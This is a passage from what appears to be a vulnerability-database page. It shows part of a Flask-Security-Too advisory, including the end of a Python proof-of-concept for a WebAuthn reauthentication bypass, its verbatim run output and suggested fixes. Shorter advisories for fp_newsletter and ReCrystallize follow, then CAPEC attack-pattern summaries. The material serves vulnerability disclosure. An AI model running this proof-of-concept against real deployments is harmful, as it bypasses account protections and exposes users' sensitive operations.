time.time() on Alice\u0027s session.\n    step(\"Submit BOB\u0027s WebAuthn assertion to Alice\u0027s /wan-verify-response\")\n    r = alice_client.post(\n        f\"/wan-verify/{wan_state}\",\n        json=dict(credential=json.dumps(SIGNIN_DATA1)),\n        headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n    )\n    print(f\"  cross-user assertion status: {r.status_code}\")\n    print(f\"  body: {r.json}\")\n    assert r.status_code == 200, \"Expected webauthn_verify_response to accept cross-user assertion\"\n\n    # Step 8: Inspect Alice\u0027s session. fs_paa should be freshly updated even\n    # though the proof was Bob\u0027s credential.\n    with alice_client.session_transaction() as sess:\n        new_paa = sess[\"fs_paa\"]\n        post_attack_identity = sess.get(\"_user_id\")\n    print(f\"  alice fs_uniquifier in session AFTER: {post_attack_identity!r}\")\n    print(f\"  fs_paa BEFORE: {old_paa}\")\n    print(f\"  fs_paa AFTER : {new_paa}\")\n    assert new_paa \u003e old_paa, \"fs_paa was NOT advanced -\u003e not exploitable\"\n    assert post_attack_identity == alice_identity, \"Session swapped users -- different bug\"\n\n    # Step 9: Confirm Alice\u0027s session now passes the freshness-gated action.\n    step(\"Demonstrate impact: /sensitive (freshness-protected) accepted\")\n    r = alice_client.post(\n        \"/sensitive\",\n        json=dict(),\n        headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n    )\n    print(f\"  /sensitive after cross-user verify status: {r.status_code}\")\n    print(f\"  body: {r.json}\")\n    assert r.status_code == 200, \"Freshness gate did NOT accept the cross-user proof\"\n\n    print(\"\\n=== RESULT ===\")\n    print(\"Alice\u0027s session was reauthenticated using BOB\u0027s WebAuthn credential.\")\n    print(\"fs_paa advanced; freshness-gated endpoints accept Alice\u0027s session.\")\n    print(\"The session user is still Alice (this is reauth-freshness bypass,\")\n    print(\"not a login bypass) -- same trust-contract violation that\")\n    print(\"GHSA-97r5-pg8x-p63p fixed on the OAuth path.\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nVerbatim run-time output against the published `Flask-Security-Too==5.8.0`\nwheel (`$ python poc.py`):\n\n```\nflask-security version under test: 5.8.0\n\n=== Bob registers his WebAuthn credential (attacker\u0027s own key) ===\n  bob register status: 200\n\n=== Alice registers her own WebAuthn credential (victim\u0027s key) ===\n  alice register status: 200\n\n=== Confirm /sensitive works while session is fresh ===\n  /sensitive while fresh status: 200\n\n=== Stale Alice\u0027s session (roll fs_paa back past FRESHNESS) ===\n  alice fs_uniquifier in session: \u0027408245d132bc4213a55606c46f40e038\u0027\n  alice fs_paa now: 1779582282.550872\n\n=== Confirm /sensitive now requires reauth (401 reauth_required) ===\n  /sensitive after stale status: 401\n  body: {\u0027meta\u0027: {\u0027code\u0027: 401}, \u0027response\u0027: {\u0027errors\u0027: [\u0027You must reauthenticate to access this endpoint\u0027], \u0027has_webauthn_verify_credential\u0027: True, \u0027oauth_enabled\u0027: False, \u0027oauth_providers\u0027: [], \u0027reauth_required\u0027: True, \u0027unified_signin_enabled\u0027: False}}\n\n=== Alice fetches /wan-verify state_token ===\n  wan_state acquired (truncated): eyJjaGFsbGVuZ2UiOiJzbUNDaXlfazJDcVF5ZFNRX2tQRWpWNWEyZDBBcGZhdGNwUTFhWERtUVBvIiwi...\n\n=== Submit BOB\u0027s WebAuthn assertion to Alice\u0027s /wan-verify-response ===\n  cross-user assertion status: 200\n  body: {\u0027meta\u0027: {\u0027code\u0027: 200}, \u0027response\u0027: {\u0027csrf_token\u0027: \u0027IjYzMDk1YjZjMTUwOTJlOWU4ZjAxNTQ1ZDI3MTM4YzA1OWJkYjZmZjci.ahJTWg.cWM261xwKEAFJXa3SK-ioz6pTro\u0027, \u0027user\u0027: {}}}\n  alice fs_uniquifier in session AFTER: \u0027408245d132bc4213a55606c46f40e038\u0027\n  fs_paa BEFORE: 1779582282.550872\n  fs_paa AFTER : 1779585882.615287\n\n=== Demonstrate impact: /sensitive (freshness-protected) accepted ===\n  /sensitive after cross-user verify status: 200\n  body: {\u0027ok\u0027: True}\n\n=== RESULT ===\nAlice\u0027s session was reauthenticated using BOB\u0027s WebAuthn credential.\nfs_paa advanced; freshness-gated endpoints accept Alice\u0027s session.\nThe session user is still Alice (this is reauth-freshness bypass,\nnot a login bypass) -- same trust-contract violation that\nGHSA-97r5-pg8x-p63p fixed on the OAuth path.\n```\n\nRe-run against the published `Flask-Security-Too==5.8.1` wheel (the release\nthat shipped the `GHSA-97r5-pg8x-p63p` OAuth fix) is identical \u2014 the\ncross-user assertion is still accepted (`200`) and the freshness-gated\nendpoint is still reachable (`200`), confirming the parent fix did not\nextend to the WebAuthn path:\n\n```\nflask-security version under test: 5.8.1\n\n=== Bob registers his WebAuthn credential (attacker\u0027s own key) ===\n  bob register status: 200\n\n=== Alice registers her own WebAuthn credential (victim\u0027s key) ===\n  alice register status: 200\n\n=== Confirm /sensitive works while session is fresh ===\n  /sensitive while fresh status: 200\n\n=== Stale Alice\u0027s session (roll fs_paa back past FRESHNESS) ===\n  alice fs_uniquifier in session: \u0027c60d7c7a5a894575b396f8917c814e46\u0027\n  alice fs_paa now: 1779582300.361872\n\n=== Confirm /sensitive now requires reauth (401 reauth_required) ===\n  /sensitive after stale status: 401\n  body: {\u0027meta\u0027: {\u0027code\u0027: 401}, \u0027response\u0027: {\u0027errors\u0027: [\u0027You must reauthenticate to access this endpoint\u0027], \u0027has_webauthn_verify_credential\u0027: True, \u0027oauth_enabled\u0027: False, \u0027oauth_providers\u0027: [], \u0027reauth_required\u0027: True, \u0027unified_signin_enabled\u0027: False}}\n\n=== Alice fetches /wan-verify state_token ===\n  wan_state acquired (truncated): eyJjaGFsbGVuZ2UiOiJzbUNDaXlfazJDcVF5ZFNRX2tQRWpWNWEyZDBBcGZhdGNwUTFhWERtUVBvIiwi...\n\n=== Submit BOB\u0027s WebAuthn assertion to Alice\u0027s /wan-verify-response ===\n  cross-user assertion status: 200\n  body: {\u0027meta\u0027: {\u0027code\u0027: 200}, \u0027response\u0027: {\u0027csrf_token\u0027: \u0027ImJiZTQ2YWJhMmJlMDJlNWU2NDE2ODI1Njc0Nzc4ZGJhYzYzZDBhOWEi.ahJTbA.gEq7o8QoNq5t-UnjM9SdR_9Mqw4\u0027, \u0027user\u0027: {}}}\n  alice fs_uniquifier in session AFTER: \u0027c60d7c7a5a894575b396f8917c814e46\u0027\n  fs_paa BEFORE: 1779582300.361872\n  fs_paa AFTER : 1779585900.41935\n\n=== Demonstrate impact: /sensitive (freshness-protected) accepted ===\n  /sensitive after cross-user verify status: 200\n  body: {\u0027ok\u0027: True}\n\n=== RESULT ===\nAlice\u0027s session was reauthenticated using BOB\u0027s WebAuthn credential.\nfs_paa advanced; freshness-gated endpoints accept Alice\u0027s session.\nThe session user is still Alice (this is reauth-freshness bypass,\nnot a login bypass) -- same trust-contract violation that\nGHSA-97r5-pg8x-p63p fixed on the OAuth path.\n```\n\nThe session user remains Alice (`fs_uniquifier` unchanged), but `fs_paa`\nadvances and the freshness-gated endpoint accepts the request, even though\nthe only cryptographic proof presented was Bob\u0027s WebAuthn signature.\n\n### Impact\n\n- Bypass of `@auth_required(within=...)` freshness gates on the WebAuthn\n  reauthentication path. Any sensitive operation that relies on freshness\n  (built-in: `/change` password change, `/change-username`, `/wf-add` to\n  register a new WebAuthn credential, `/us-setup` to (re)configure unified\n  signin, `/mf-recovery-codes`; app-defined: any business route the\n  application protected with `@auth_required(within=...)`) is reachable\n  from an attacker-held victim session.\n- Promotes any session-handoff or session-holder gadget from \"victim still\n  protected against sensitive ops\" to \"attacker reaches sensitive ops\" using\n  the attacker\u0027s own authenticator.\n- Same trust-contract violation that `GHSA-97r5-pg8x-p63p` (rated medium)\n  was published to close on the OAuth path. The WebAuthn variant is\n  reachable wherever the project\u0027s WebAuthn-verify is enabled.\n\n### Suggested fix\n\nAdd the equivalent of the OAuth fix in\n`flask_security/webauthn.py:webauthn_verify_response` so the cryptographically\nverified user must equal the currently authenticated session user before\nfreshness is advanced:\n\n```python\nif form.validate_on_submit():\n    assert form.cred\n    assert form.user\n    if form.user != current_user._get_current_object():\n        # Cryptographic proof was valid, but for a different account; do not\n        # treat the current session as reauthenticated.\n        m, c = get_message(\"WEBAUTHN_MISMATCH_USER_HANDLE\")\n        if _security._want_json(request):\n            form.form_errors.append(m)\n            return base_render_json(form, include_user=False)\n        do_flash(m, c)\n        return redirect(url_for_security(\"wan_verify\"))\n\n    after_this_request(view_commit)\n    form.cred.lastuse_datetime = _security.datetime_factory()\n    form.cred.sign_count = form.authentication_verification.new_sign_count\n    _datastore.put(form.cred)\n    session[\"fs_paa\"] = time.time()\n    ...\n```\n\nEquivalent pattern (and arguably tighter) is to add a bind into the state\ntoken issued by `_signin_common` when called from `webauthn_verify` (the\ncaller already holds `form.user = current_user`):\n\n```python\ndef _signin_common(user, usage):\n    ...\n    state = {\n        \"challenge\": challenge,\n        \"user_verification\": uv,\n        \"user_id\": user.fs_uniquifier if user else None,   # NEW\n    }\n    ...\n```\n\nand check it in `WebAuthnSigninResponseForm.validate` when the form is being\nused for verify (`self.is_verify`). Either fix shape closes the bug; the\n`current_user`-bind shape mirrors [`oauth_glue.py:211`](https://github.com/pallets-eco/flask-security/blob/5c44c76e33a20b67d02115e26d2da4bab18c094e/oauth_glue.py#L211) more directly. The\n`/wan-signin` flow (`is_verify == False`) does not need to change \u2014 it is the\nprimary-signin path where there is by design no `current_user` yet.\n\n### Fix PR\n\nTo follow on the advisory\u0027s temp private fork once it is provisioned.\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-f66q-9rf6-8795",
  "modified": "2026-07-07T23:43:12Z",
  "published": "2026-07-07T23:43:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pallets-eco/flask-security/security/advisories/GHSA-f66q-9rf6-8795"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pallets-eco/flask-security"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flask-Security-Too: WebAuthn reauthentication freshness bypass via cross-user assertion"
}

GHSA-F683-35W9-28G5

Vulnerability from github – Published: 2022-12-14 21:30 – Updated: 2023-02-08 00:23
VLAI
Summary
Multiple vulnerabilities in extension "Newsletter subscriber management" (fp_newsletter)
Details

The CAPTCHA of the extension can be bypassed which may result in automated creation of various newsletter subscribers. It is possible to provide arbitrary subscription UIDs to the deleteAction of the extension resulting in all newsletter subscribers to be unsubscribed. Insufficient access checks in the createAction and unsubscribeAction can be used to obtain data of existing newsletter subscribers.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "fixpunkt/fp-newsletter"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "3.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "fixpunkt/fp-newsletter"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "fixpunkt/fp-newsletter"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-47408"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-08T00:23:48Z",
    "nvd_published_at": "2022-12-14T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The CAPTCHA of the extension can be bypassed which may result in automated creation of various newsletter subscribers. It is possible to provide arbitrary subscription UIDs to the `deleteAction` of the extension resulting in all newsletter subscribers to be unsubscribed. Insufficient access checks in the `createAction` and `unsubscribeAction` can be used to obtain data of existing newsletter subscribers.",
  "id": "GHSA-f683-35w9-28g5",
  "modified": "2023-02-08T00:23:48Z",
  "published": "2022-12-14T21:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47408"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bihor/fp_newsletter/commit/bc673cd9ab04f3fdd1225303f2ccb378b11a3747"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/fixpunkt/fp-newsletter/CVE-2022-47408.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bihor/fp_newsletter"
    },
    {
      "type": "WEB",
      "url": "https://typo3.org/security/advisory/typo3-ext-sa-2022-017"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Multiple vulnerabilities in extension \"Newsletter subscriber management\" (fp_newsletter)"
}

GHSA-F685-P7GP-HWRF

Vulnerability from github – Published: 2024-04-30 21:30 – Updated: 2024-08-06 21:30
VLAI
Details

ReCrystallize Server 5.10.0.0 uses a authorization mechanism that relies on the value of a cookie, but it does not bind the cookie value to a session ID. Attackers can easily modify the cookie value, within a browser or by implementing client-side code outside of a browser. Attackers can bypass the authentication mechanism by modifying the cookie to contain an expected value.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-26331"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-30T19:15:23Z",
    "severity": "HIGH"
  },
  "details": "ReCrystallize Server 5.10.0.0 uses a authorization mechanism that relies on the value of a cookie, but it does not bind the cookie value to a session ID. Attackers can easily modify the cookie value, within a browser or by implementing client-side code outside of a browser. Attackers can bypass the authentication mechanism by modifying the cookie to contain an expected value.",
  "id": "GHSA-f685-p7gp-hwrf",
  "modified": "2024-08-06T21:30:47Z",
  "published": "2024-04-30T21:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26331"
    },
    {
      "type": "WEB",
      "url": "https://sensepost.com/blog/2024/from-discovery-to-disclosure-recrystallize-server-vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "https://www.recrystallize.com/merchant/ReCrystallize-Server-for-Crystal-Reports.htm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CAPEC-114: Authentication Abuse

An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.

CAPEC-115: Authentication Bypass

An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.

CAPEC-151: Identity Spoofing

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.

CAPEC-194: Fake the Source of Data

An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-593: Session Hijacking

This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.

CAPEC-633: Token Impersonation

An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.

CAPEC-650: Upload a Web Shell to a Web Server

By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.